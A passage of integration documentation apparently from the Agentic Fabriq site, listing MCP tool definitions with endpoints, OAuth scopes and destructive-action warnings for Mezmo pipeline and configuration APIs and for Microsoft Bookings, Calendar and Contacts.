mezmo_patch_v3_pipeline_by_pipeline_id_usage_threshold_alert_by_usage_threshold_alert_id (write) — Update a part of usage threshold alert. PATCH /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert/{usage_threshold_alert_id}. Scopes: api. mezmo_patch_v3_pipeline_classifier_analysis_by_analysis_id (write) — Reset classification and profiling results. PATCH /api/v1/mezmo/v3/pipeline/classifier/analysis/{analysis_id}. Scopes: api. mezmo_patch_v3_pipeline_gateway_route_by_gateway_route_id (write) — Patches a gateway route. PATCH /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}. Scopes: api. mezmo_patch_v3_pipeline_state_variable (write) — Update one or many state variables. PATCH /api/v1/mezmo/v3/pipeline/state-variable. Scopes: api. mezmo_post_logs_ingest (write) — Use this method to send logs to a logging instance. Authentication: You can find instructions on authentication here (/log-analysis-api/ref#authentication). Ingestion is similar to the other APIs, but instead of `servicekey` you will use `apikey` if you are using the header style authentication. Metadata: Meta is a field reserved for custom information associated with a log line. To add metadata to an API call, specify the `meta` field under the lines object. Metadata can be viewed inside that line's context WARNING: If inconsistent value types are used, that line's metadata, will not be parsed. For example, if a line is passed with a meta object, such as `meta.myfield` of type String, any subsequent lines with `meta.myfield` must have a String as the value type for `meta.myfield`. Please be aware of service limits (https://docs.mezmo.com/docs/Mezmo-ingestion-service-limits) on this endpoint. NOT CALLABLE with this integration's access key: ingestion needs an ingestion key on logs.mezmo.com. POST /api/v1/mezmo/logs/ingest. Scopes: api. mezmo_post_v1_config_archiving (write) — Use this method to configure archiving for an instance. Only one archiving configuration may exist at any time. Changes the organization-wide log archive destination. POST /api/v1/mezmo/v1/config/archiving. Scopes: api. mezmo_post_v1_config_board (write) — Use this method to create a board. POST /api/v1/mezmo/v1/config/board. Scopes: api. mezmo_post_v1_config_categories_by_type (write) — Creates a new category of this type. POST /api/v1/mezmo/v1/config/categories/{type}. Scopes: api. mezmo_post_v1_config_groups (write) — Use this method to create a log group where you can scope the data that is accessible by members in that group. Changes the organization's role-based access groups. POST /api/v1/mezmo/v1/config/groups. Scopes: api. mezmo_post_v1_config_ingestion_exclusions (write) — Create a new ingestion exclusion rule to help reduce log volume. POST /api/v1/mezmo/v1/config/ingestion/exclusions. Scopes: api. mezmo_post_v1_config_ingestion_resume (write) — Resumes ingestion if it has been previously suspended. Affects log ingestion for the WHOLE organization. POST /api/v1/mezmo/v1/config/ingestion/resume. Scopes: api. mezmo_post_v1_config_ingestion_suspend (write) — First step in suspending ingestion for the instance. Returns a token for use in /suspend/confirm to actually stop ingestion. Affects log ingestion for the WHOLE organization. POST /api/v1/mezmo/v1/config/ingestion/suspend. Scopes: api. mezmo_post_v1_config_ingestion_suspend_confirm (write) — After /suspend is called, a token is returned for use with this route as a confirmation. Affects log ingestion for the WHOLE organization. POST /api/v1/mezmo/v1/config/ingestion/suspend/confirm. Scopes: api. mezmo_post_v1_config_keys (write) — Create a new key of the type specified by the `type` parameter. If a name is not supplied, one will be auto generated. Changes the organization's shared keys: a deleted or rotated key stops working for everything that uses it. POST /api/v1/mezmo/v1/config/keys. Scopes: api. mezmo_post_v1_config_members (write) — Create a new user and add to the team by providing 'email', 'role' and an optional list of RBAC groups. Changes organization membership and roles. POST /api/v1/mezmo/v1/config/members. Scopes: api. mezmo_post_v1_config_presetalert (write) — Use this method to create a preset alert. POST /api/v1/mezmo/v1/config/presetalert. Scopes: api. mezmo_post_v1_config_screen (write) — Creates a new screen. POST /api/v1/mezmo/v1/config/screen. Scopes: api. mezmo_post_v1_config_view (write) — Use this method to create a view and attach alerts to the view. POST /api/v1/mezmo/v1/config/view. Scopes: api. mezmo_post_v1_enterprise_account (write) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Attaches an existing organization to an enterprise. The `retention` and `owner` field are optional, and will be defaulted if not specified. To specify which child organization to attach, one of its service keys must be supplied through our typical service key authorization schema; either as basic authorization or through the `servicekey` header. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. POST /api/v1/mezmo/v1/enterprise/account. Scopes: api. mezmo_post_v1_enterprise_keys (write) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Generate a new ServiceKey for the enterprise. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. POST /api/v1/mezmo/v1/enterprise/keys. Scopes: api. mezmo_post_v3_enterprise_account (write) — Create a new Enterprise Child Organization (Account). Requires an Enterprise service-account (ste_) access key; an ordinary sts_/sta_ key is refused. POST /api/v1/mezmo/v3/enterprise/account. Scopes: api. mezmo_post_v3_pipeline (write) — Creates a new pipeline (non published). POST /api/v1/mezmo/v3/pipeline. Scopes: api. mezmo_post_v3_pipeline_account_local_deploy_config (write) — Posts deployment configuration+liveness for Edge pipelines, returning pipeline config. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. POST /api/v1/mezmo/v3/pipeline/account/local-deploy/config. Scopes: api. mezmo_post_v3_pipeline_account_local_deploy_log (write) — Receive logs from an Edge pipeline. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. POST /api/v1/mezmo/v3/pipeline/account/local-deploy/log. Scopes: api. mezmo_post_v3_pipeline_account_local_deploy_metric_usage (write) — Receive usage metrics from an Edge pipeline. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. POST /api/v1/mezmo/v3/pipeline/account/local-deploy/metric/usage. Scopes: api. mezmo_post_v3_pipeline_account_local_deploy_tasks_by_task_id_results (write) — Add results for a given task. Intended for self-hosted Mezmo Edge instances; whether it answers on the cloud API is unverified. POST /api/v1/mezmo/v3/pipeline/account/local-deploy/tasks/{task_id}/results. Scopes: api. mezmo_post_v3_pipeline_by_container_id_source_by_source_id_sample (write) — Create sample data for use in simulation. POST /api/v1/mezmo/v3/pipeline/{container_id}/source/{source_id}/sample. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_by_component_kind_by_component_id_alert (write) — Create an alert attached to a pipeline component. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/{component_kind}/{component_id}/alert. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_export (write) — Prepare a pipeline for export into a terraform workspace. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/export. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_log_volume_reduction (write) — Post log volume reduction actions to a pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/log-volume-reduction. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_publish (write) — Creates a new pipeline in the account. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/publish. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_revert (write) — Updates a pipeline configuration to a previous version. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/revert. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_simulate_by_pipeline_source_id (write) — Sends data to a vector instance with a simulated pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/simulate/{pipeline_source_id}. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_sink (write) — Add a sink to a pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/sink. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_source (write) — Adds a source to a pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/source. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_tap_by_component_id (write) — Start a tap operation to view data as it flows through the pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/tap/{component_id}. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_transform (write) — Add a transform to a pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_transform_group (write) — Add Processor Group to a pipeline. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform-group. Scopes: api. mezmo_post_v3_pipeline_by_pipeline_id_usage_threshold_alert (write) — Creates a new usage threshold alert configuration. POST /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert. Scopes: api. mezmo_post_v3_pipeline_from_manifest (write) — Import a manifest as a new unpublished draft pipeline. Requires pipeline:write. POST /api/v1/mezmo/v3/pipeline/from-manifest. Scopes: api. mezmo_post_v3_pipeline_from_manifest_prepare (write) — Inspect a manifest and report the secrets that must be supplied on import. Creates nothing. Requires pipeline:write. POST /api/v1/mezmo/v3/pipeline/from-manifest/prepare. Scopes: api. mezmo_post_v3_pipeline_gateway_route (write) — Create a gateway route. POST /api/v1/mezmo/v3/pipeline/gateway-route. Scopes: api. mezmo_post_v3_pipeline_gateway_route_by_gateway_route_id_access_key (write) — Create an access key associated with this gateway route. Changes the secrets pipeline ingress accepts for this shared source; a new key is returned once. POST /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}/access-key. Scopes: api. mezmo_post_v3_pipeline_grok_pattern_simulate (write) — Simulate data flowing through a grok pattern. POST /api/v1/mezmo/v3/pipeline/grok-pattern/simulate. Scopes: api. mezmo_post_v3_pipeline_pre_built (write) — Creates a new pipeline in the account that is prebuilt. POST /api/v1/mezmo/v3/pipeline/pre-built. Scopes: api. mezmo_post_v3_pipeline_regex_pattern_simulate (write) — View results of sending data using a regular expression. POST /api/v1/mezmo/v3/pipeline/regex-pattern/simulate. Scopes: api. mezmo_post_v3_pipeline_state_variable (write) — Add a pipeline state variable to the account. POST /api/v1/mezmo/v3/pipeline/state-variable. Scopes: api. mezmo_post_v3_pipeline_timestamp_format_simulate (write) — Simulate data with a timestamp format. POST /api/v1/mezmo/v3/pipeline/timestamp-format/simulate. Scopes: api. mezmo_post_v3_pipeline_with_components (write) — Initialize a pipeline with provided components. All sources, transforms, and sinks are linked. Populates and publishes a new pipeline as specified. POST /api/v1/mezmo/v3/pipeline/with-components. Scopes: api. mezmo_post_v3_pipeline_with_linked_components (write) — Initialize a pipeline with provided components. The links for all components have to be determined by the caller. Populates and publishes a new pipeline as specified. POST /api/v1/mezmo/v3/pipeline/with-linked-components. Scopes: api. mezmo_post_v3_transform_group (write) — Create a new Processor Group. POST /api/v1/mezmo/v3/transform-group. Scopes: api. mezmo_post_v3_transform_group_by_transform_group_id_publish (write) — Publish changes to a Processor Group. POST /api/v1/mezmo/v3/transform-group/{transform_group_id}/publish. Scopes: api. mezmo_post_v3_transform_group_by_transform_group_id_simulate (write) — Sends data to a vector instance with a simulated transform group. POST /api/v1/mezmo/v3/transform-group/{transform_group_id}/simulate. Scopes: api. mezmo_post_v3_transform_group_by_transform_group_id_transform (write) — Create a Processor in a Processor Group. POST /api/v1/mezmo/v3/transform-group/{transform_group_id}/transform. Scopes: api. mezmo_post_v3_transform_group_from_pipeline (write) — Create a new Processor Group from a set of Pipeline components. POST /api/v1/mezmo/v3/transform-group/from-pipeline. Scopes: api. mezmo_put_v1_config_archiving (write) — Use this method to update an existing archiving configuration. Changes the organization-wide log archive destination. PUT /api/v1/mezmo/v1/config/archiving. Scopes: api. mezmo_put_v1_config_categories_by_type_by_id (write) — Update a specific category. PUT /api/v1/mezmo/v1/config/categories/{type}/{id}. Scopes: api. mezmo_put_v1_config_index_rate (write) — Use this method to update an index rate alert. You can change the alert's configuration details. PUT /api/v1/mezmo/v1/config/index-rate. Scopes: api. mezmo_put_v1_config_keys_by_id (write) — Updates all of the fields described in the request body of the specified key. Fields left out of the body will remain unaffected. Changes the organization's shared keys: a deleted or rotated key stops working for everything that uses it. PUT /api/v1/mezmo/v1/config/keys/{id}. Scopes: api. mezmo_put_v1_config_members_by_email (write) — Updates all the fields described in the request body of the specified member. Creates a member if the member doesn't exist already. Fields left out of the body will remain unaffected. Changes organization membership and roles. PUT /api/v1/mezmo/v1/config/members/{email}. Scopes: api. mezmo_put_v1_config_presetalert_by_presetid (write) — Update a specific preset alert. PUT /api/v1/mezmo/v1/config/presetalert/{presetId}. Scopes: api. mezmo_put_v1_config_view_by_viewid (write) — Use this method to update a view. You can change the view configuration details; add or remove view specific alerts; or attach and detach preset alerts. PUT /api/v1/mezmo/v1/config/view/{viewId}. Scopes: api. mezmo_put_v1_enterprise_account_by_accountid (write) — Deprecated. Superseded by the `/v3/enterprise` endpoints under the Enterprise tag. Makes an update to the specified child organization. Used to modify the current retention with the `retention` field or the current owner with the `owner` field. NOT CALLABLE with this integration's access key: Enterprise v1 needs the enterprise-servicekey header. Use the Enterprise v3 tools. PUT /api/v1/mezmo/v1/enterprise/account/{accountId}. Scopes: api. mezmo_put_v3_pipeline_by_container_id_source_by_source_id_sample_by_sample_id (write) — Updates an existing data sample. PUT /api/v1/mezmo/v3/pipeline/{container_id}/source/{source_id}/sample/{sample_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id (write) — Update pipeline properties, like title. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_by_component_kind_by_component_id_alert_by_alert_id (write) — Update an alert attached to a pipeline component. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/{component_kind}/{component_id}/alert/{alert_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_processing_status (write) — Change a pipeline to enabled or disabled. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/processing-status. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_sink_by_pipeline_sink_id (write) — Updates a sink of a pipeline. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/sink/{pipeline_sink_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_source_by_pipeline_source_id (write) — Updates a source in a pipeline. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/source/{pipeline_source_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_transform_by_pipeline_transform_id (write) — Updates a transform of a pipeline. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform/{pipeline_transform_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_transform_group_by_pipeline_transform_group_id (write) — Update Processor Group in a pipeline. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/transform-group/{pipeline_transform_group_id}. Scopes: api. mezmo_put_v3_pipeline_by_pipeline_id_usage_threshold_alert_by_usage_threshold_alert_id (write) — Replace an existing usage alert with this one. PUT /api/v1/mezmo/v3/pipeline/{pipeline_id}/usage-threshold-alert/{usage_threshold_alert_id}. Scopes: api. mezmo_put_v3_pipeline_gateway_route_by_gateway_route_id (write) — Updates a gateway route. PUT /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}. Scopes: api. mezmo_put_v3_pipeline_gateway_route_by_gateway_route_id_signing_key (write) — Adds a signing key to a gateway route. Changes the secrets pipeline ingress accepts for this shared source; a new key is returned once. PUT /api/v1/mezmo/v3/pipeline/gateway-route/{gateway_route_id}/signing-key. Scopes: api. mezmo_put_v3_pipeline_state_variable_by_state_variable_id (write) — Edits an existing state variable. PUT /api/v1/mezmo/v3/pipeline/state-variable/{state_variable_id}. Scopes: api. mezmo_put_v3_transform_group_by_transform_group_id (write) — Update a Processor Group. PUT /api/v1/mezmo/v3/transform-group/{transform_group_id}. Scopes: api. mezmo_put_v3_transform_group_by_transform_group_id_transform_by_transform_group_transform_id (write) — Update a Processor in a Processor Group. PUT /api/v1/mezmo/v3/transform-group/{transform_group_id}/transform/{transform_group_transform_id}. Scopes: api. ================================================================================ ## Microsoft Bookings URL: https://www.agenticfabriq.com/docs/tools-ms-bookings Section: Integrated Tools Microsoft Bookings — 22 MCP tools Provider key: microsoft_bookings. Scopes: Bookings.Manage.All, Bookings.Read.All, Bookings.ReadWrite.All, BookingsAppointment.ReadWrite.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_bookings_cancel_booking_appointment (write, destructive) — Cancel an appointment in a Bookings business. POST /api/v1/tools/microsoft/bookings/businesses/{business_id}/appointments/{appointment_id}/cancel. Scopes: BookingsAppointment.ReadWrite.All. microsoft_bookings_create_booking_appointment (write, destructive) — Create a new appointment in a Microsoft Bookings business. POST /api/v1/tools/microsoft/bookings/businesses/{business_id}/appointments. Scopes: BookingsAppointment.ReadWrite.All. microsoft_bookings_create_booking_business (write, destructive) — Create a new Microsoft Bookings business. POST /api/v1/tools/microsoft/bookings/businesses. Scopes: Bookings.ReadWrite.All. microsoft_bookings_create_booking_customer (write, destructive) — Create a new customer for a Bookings business. POST /api/v1/tools/microsoft/bookings/businesses/{business_id}/customers. Scopes: Bookings.ReadWrite.All. microsoft_bookings_create_booking_service (write, destructive) — Create a new service for a Bookings business. POST /api/v1/tools/microsoft/bookings/businesses/{business_id}/services. Scopes: Bookings.ReadWrite.All. microsoft_bookings_create_booking_staff_member (write, destructive) — Add a staff member to a Bookings business. POST /api/v1/tools/microsoft/bookings/businesses/{business_id}/staff. Scopes: Bookings.ReadWrite.All. microsoft_bookings_delete_booking_appointment (write, destructive) — Delete an appointment from a Bookings business. DELETE /api/v1/tools/microsoft/bookings/businesses/{business_id}/appointments/{appointment_id}. Scopes: BookingsAppointment.ReadWrite.All. microsoft_bookings_delete_booking_business (write, destructive) — Delete a Microsoft Bookings business. Requires Bookings.Manage.All. DELETE /api/v1/tools/microsoft/bookings/businesses/{business_id}. Scopes: Bookings.Manage.All. microsoft_bookings_delete_booking_customer (write, destructive) — Delete a customer from a Bookings business. DELETE /api/v1/tools/microsoft/bookings/businesses/{business_id}/customers/{customer_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_delete_booking_service (write, destructive) — Delete a service from a Bookings business. DELETE /api/v1/tools/microsoft/bookings/businesses/{business_id}/services/{service_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_delete_booking_staff_member (write, destructive) — Delete a staff member from a Bookings business. DELETE /api/v1/tools/microsoft/bookings/businesses/{business_id}/staff/{staff_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_get_booking_business (read) — Get a specific Microsoft Bookings business by ID. GET /api/v1/tools/microsoft/bookings/businesses/{business_id}. Scopes: Bookings.Read.All. microsoft_bookings_list_booking_appointments (read) — List appointments for a Microsoft Bookings business. GET /api/v1/tools/microsoft/bookings/businesses/{business_id}/appointments. Scopes: Bookings.Read.All. microsoft_bookings_list_booking_businesses (read) — List Microsoft Bookings businesses for the authenticated user. GET /api/v1/tools/microsoft/bookings/businesses. Scopes: Bookings.Read.All. microsoft_bookings_list_booking_customers (read) — List customers of a Microsoft Bookings business. GET /api/v1/tools/microsoft/bookings/businesses/{business_id}/customers. Scopes: Bookings.Read.All. microsoft_bookings_list_booking_services (read) — List services offered by a Microsoft Bookings business. GET /api/v1/tools/microsoft/bookings/businesses/{business_id}/services. Scopes: Bookings.Read.All. microsoft_bookings_list_booking_staff (read) — List staff members of a Microsoft Bookings business. GET /api/v1/tools/microsoft/bookings/businesses/{business_id}/staff. Scopes: Bookings.Read.All. microsoft_bookings_update_booking_appointment (write, destructive) — Update an existing appointment in a Bookings business. PATCH /api/v1/tools/microsoft/bookings/businesses/{business_id}/appointments/{appointment_id}. Scopes: BookingsAppointment.ReadWrite.All. microsoft_bookings_update_booking_business (write, destructive) — Update a Microsoft Bookings business. PATCH /api/v1/tools/microsoft/bookings/businesses/{business_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_update_booking_customer (write, destructive) — Update a customer of a Bookings business. PATCH /api/v1/tools/microsoft/bookings/businesses/{business_id}/customers/{customer_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_update_booking_service (write, destructive) — Update a service for a Bookings business. PATCH /api/v1/tools/microsoft/bookings/businesses/{business_id}/services/{service_id}. Scopes: Bookings.ReadWrite.All. microsoft_bookings_update_booking_staff_member (write, destructive) — Update a staff member of a Bookings business. PATCH /api/v1/tools/microsoft/bookings/businesses/{business_id}/staff/{staff_id}. Scopes: Bookings.ReadWrite.All. ================================================================================ ## Microsoft Calendar URL: https://www.agenticfabriq.com/docs/tools-ms-calendar Section: Integrated Tools Microsoft Calendar — 22 MCP tools Provider key: microsoft_calendar. Scopes: Calendars.Read, Calendars.Read.Shared, Calendars.ReadBasic, Calendars.ReadWrite, Calendars.ReadWrite.Shared, MailboxSettings.Read, MailboxSettings.ReadWrite, Place.Read.All, Schedule.Read.All, User.ReadBasic.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_calendar_check_availability (read) — Check free/busy availability for one or more users over a time range. Requires Schedule.Read.All. POST /api/v1/tools/microsoft/calendar/availability. Scopes: Schedule.Read.All. microsoft_calendar_create_event (write, destructive) — Create a new calendar event. POST /api/v1/tools/microsoft/calendar/events. Scopes: Calendars.ReadWrite. microsoft_calendar_create_event_in_shared_calendar (write, destructive) — Create an event in a calendar shared with the user. Requires Calendars.ReadWrite.Shared. POST /api/v1/tools/microsoft/calendar/shared-calendars/{calendar_id}/events. Scopes: Calendars.ReadWrite.Shared. microsoft_calendar_delete_event (write, destructive) — Delete a calendar event. DELETE /api/v1/tools/microsoft/calendar/events/{event_id}. Scopes: Calendars.ReadWrite. microsoft_calendar_delete_event_in_shared_calendar (write, destructive) — Delete an event in a shared calendar. Requires Calendars.ReadWrite.Shared. DELETE /api/v1/tools/microsoft/calendar/shared-events/{event_id}. Scopes: Calendars.ReadWrite.Shared. microsoft_calendar_find_meeting_times (write) — Find available meeting times for a group of attendees using Microsoft's scheduling intelligence. Requires Schedule.Read.All. User.ReadBasic.All is used to resolve attendee names. POST /api/v1/tools/microsoft/calendar/find-meeting-times. Scopes: Schedule.Read.All. microsoft_calendar_get_event (read) — Get a specific calendar event by ID. GET /api/v1/tools/microsoft/calendar/events/{event_id}. Scopes: Calendars.Read. microsoft_calendar_get_free_busy (read) — Get free/busy status for users without exposing event details. Requires Calendars.ReadBasic (lower privilege than get_schedule). POST /api/v1/tools/microsoft/calendar/free-busy. Scopes: Calendars.ReadBasic. microsoft_calendar_get_schedule (read) — Get full schedule including calendar items for users over a time range. Requires Schedule.Read.All. POST /api/v1/tools/microsoft/calendar/schedule. Scopes: Schedule.Read.All. microsoft_calendar_get_user_timezone (read) — Get the user's configured time zone from mailbox settings. Requires MailboxSettings.Read. This timezone is used by Calendar to display event times and affects scheduling. GET /api/v1/tools/microsoft/calendar/timezone. Scopes: MailboxSettings.Read. microsoft_calendar_get_user_working_hours (read) — Get the user's configured working hours from mailbox settings. Requires MailboxSettings.Read. Working hours determine availability shown to others in scheduling and Bookings. GET /api/v1/tools/microsoft/calendar/working-hours. Scopes: MailboxSettings.Read. microsoft_calendar_list_calendars (read) — List the user's Microsoft calendars. GET /api/v1/tools/microsoft/calendar/calendars. Scopes: Calendars.Read. microsoft_calendar_list_events (read) — List calendar events in a time range. GET /api/v1/tools/microsoft/calendar/events. Scopes: Calendars.Read. microsoft_calendar_list_room_lists (read) — List room lists (building/floor groupings of meeting rooms) in the organization. Requires Place.Read.All. Use to browse rooms by physical location before creating events. GET /api/v1/tools/microsoft/calendar/room-lists. Scopes: Place.Read.All. microsoft_calendar_list_rooms (read) — List bookable meeting rooms in the organization. Requires Place.Read.All. Returns room name, email address, capacity, and location — used to select a physical location when creating calendar events. GET /api/v1/tools/microsoft/calendar/rooms. Scopes: Place.Read.All. microsoft_calendar_list_shared_calendar_events (read) — List events in a calendar shared with the user. Requires Calendars.Read.Shared. GET /api/v1/tools/microsoft/calendar/shared-calendars/{calendar_id}/events. Scopes: Calendars.Read.Shared. microsoft_calendar_list_shared_calendars (read) — List calendars shared with the authenticated user. Requires Calendars.Read.Shared. GET /api/v1/tools/microsoft/calendar/shared-calendars. Scopes: Calendars.Read.Shared. microsoft_calendar_resolve_attendees (read) — Search for users by name or email prefix to resolve full email addresses. Requires User.ReadBasic.All. Use before find_meeting_times or create_event to look up attendee addresses from partial names. GET /api/v1/tools/microsoft/calendar/resolve-attendees. Scopes: User.ReadBasic.All. microsoft_calendar_update_event (write, destructive) — Update an existing calendar event. PATCH /api/v1/tools/microsoft/calendar/events/{event_id}. Scopes: Calendars.ReadWrite. microsoft_calendar_update_event_in_shared_calendar (write, destructive) — Update an event in a shared calendar. Requires Calendars.ReadWrite.Shared. PATCH /api/v1/tools/microsoft/calendar/shared-events/{event_id}. Scopes: Calendars.ReadWrite.Shared. microsoft_calendar_update_user_timezone (admin) — Update the user's time zone in mailbox settings. Requires MailboxSettings.ReadWrite. Affects how calendar events are displayed and scheduled for this user across all Microsoft 365 apps. PATCH /api/v1/tools/microsoft/calendar/timezone. Scopes: MailboxSettings.ReadWrite. microsoft_calendar_update_user_working_hours (admin) — Update the user's working hours in mailbox settings. Requires MailboxSettings.ReadWrite. Affects the user's availability block visible to others when scheduling meetings. PATCH /api/v1/tools/microsoft/calendar/working-hours. Scopes: MailboxSettings.ReadWrite. ================================================================================ ## Microsoft Contacts URL: https://www.agenticfabriq.com/docs/tools-ms-contacts Section: Integrated Tools Microsoft Contacts — 16 MCP tools Provider key: microsoft_contacts. Scopes: Contacts.Read, Contacts.Read.Shared, Contacts.ReadWrite, Contacts.ReadWrite.Shared. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. microsoft_contacts_create_contact (write, destructive) — Create a new contact. POST /api/v1/tools/microsoft/contacts. Scopes: Contacts.ReadWrite. microsoft_contacts_create_contact_folder (write, destructive) — Create a new contact folder. Requires Contacts.ReadWrite. POST /api/v1/tools/microsoft/contacts/folders. Scopes: Contacts.ReadWrite. microsoft_contacts_create_shared_contact (write, destructive) — Create a contact in another user's shared mailbox. Requires Contacts.ReadWrite.Shared. POST /api/v1/tools/microsoft/contacts/shared/{owner_user_id}. Scopes: Contacts.ReadWrite.Shared. microsoft_contacts_delete_contact (write, destructive) — DESTRUCTIVE. Permanently deletes a contact from the mailbox. Microsoft Graph publishes no undelete for contacts and no recycle bin they land in, so the name, addresses, phone numbers and notes on the record are gone and Agentic Fabriq cannot restore them. There is no inverse action; recreating the person with microsoft_contacts_create_contact makes a NEW record, which does not recover anything the old one held. DELETE /api/v1/tools/microsoft/contacts/{contact_id}. Scopes: Contacts.ReadWrite. microsoft_contacts_delete_contact_folder (write, destructive) — Delete a contact folder and all its contacts. Requires Contacts.ReadWrite. DELETE /api/v1/tools/microsoft/contacts/folders/{folder_id}. Scopes: Contacts.ReadWrite. microsoft_contacts_delete_shared_contact (write, destructive) — Delete a contact from another user's shared mailbox. Requires Contacts.ReadWrite.Shared. DELETE /api/v1/tools/microsoft/contacts/shared/{owner_user_id}/{contact_id}. Scopes: Contacts.ReadWrite.Shared. microsoft_contacts_get_contact (read) — Get a specific contact by ID. GET /api/v1/tools/microsoft/contacts/{contact_id}. Scopes: Contacts.Read. microsoft_contacts_get_shared_contact (read) — Get a specific contact from another user's shared mailbox. Requires Contacts.Read.Shared. GET /api/v1/tools/microsoft/contacts/shared/{owner_user_id}/{contact_id}. Scopes: Contacts.Read.Shared. microsoft_contacts_list_contact_folders (read) — List the user's contact folders. Requires Contacts.Read. GET /api/v1/tools/microsoft/contacts/folders. Scopes: Contacts.Read. microsoft_contacts_list_contacts (read) — List the user's Microsoft contacts. GET /api/v1/tools/microsoft/contacts. Scopes: Contacts.Read. microsoft_contacts_list_contacts_in_folder (read) — List contacts in a specific contact folder. Requires Contacts.Read. GET /api/v1/tools/microsoft/contacts/folders/{folder_id}/contacts. Scopes: Contacts.Read. microsoft_contacts_list_shared_contacts (read) — List contacts from another user's mailbox shared with you. Requires Contacts.Read.Shared. GET /api/v1/tools/microsoft/contacts/shared/{owner_user_id}. Scopes: Contacts.Read.Shared. microsoft_contacts_move_contact (write) — Move a contact to a different folder. Requires Contacts.ReadWrite. POST /api/v1/tools/microsoft/contacts/{contact_id}/move. Scopes: Contacts.ReadWrite. microsoft_contacts_update_contact (write, destructive) — Update an existing contact. PATCH /api/v1/tools/microsoft/contacts/{contact_id}. Scopes: Contacts.ReadWrite. microsoft_contacts_update_contact_folder (write) — Rename a contact folder. Requires Contacts.ReadWrite. PATCH /api/v1/tools/microsoft/contacts/folders/{folder_id}. Scopes: Contacts.ReadWrite. microsoft_contacts_update_shared_contact (write, destructive) — Update a contact in another user's shared mailbox. Requires 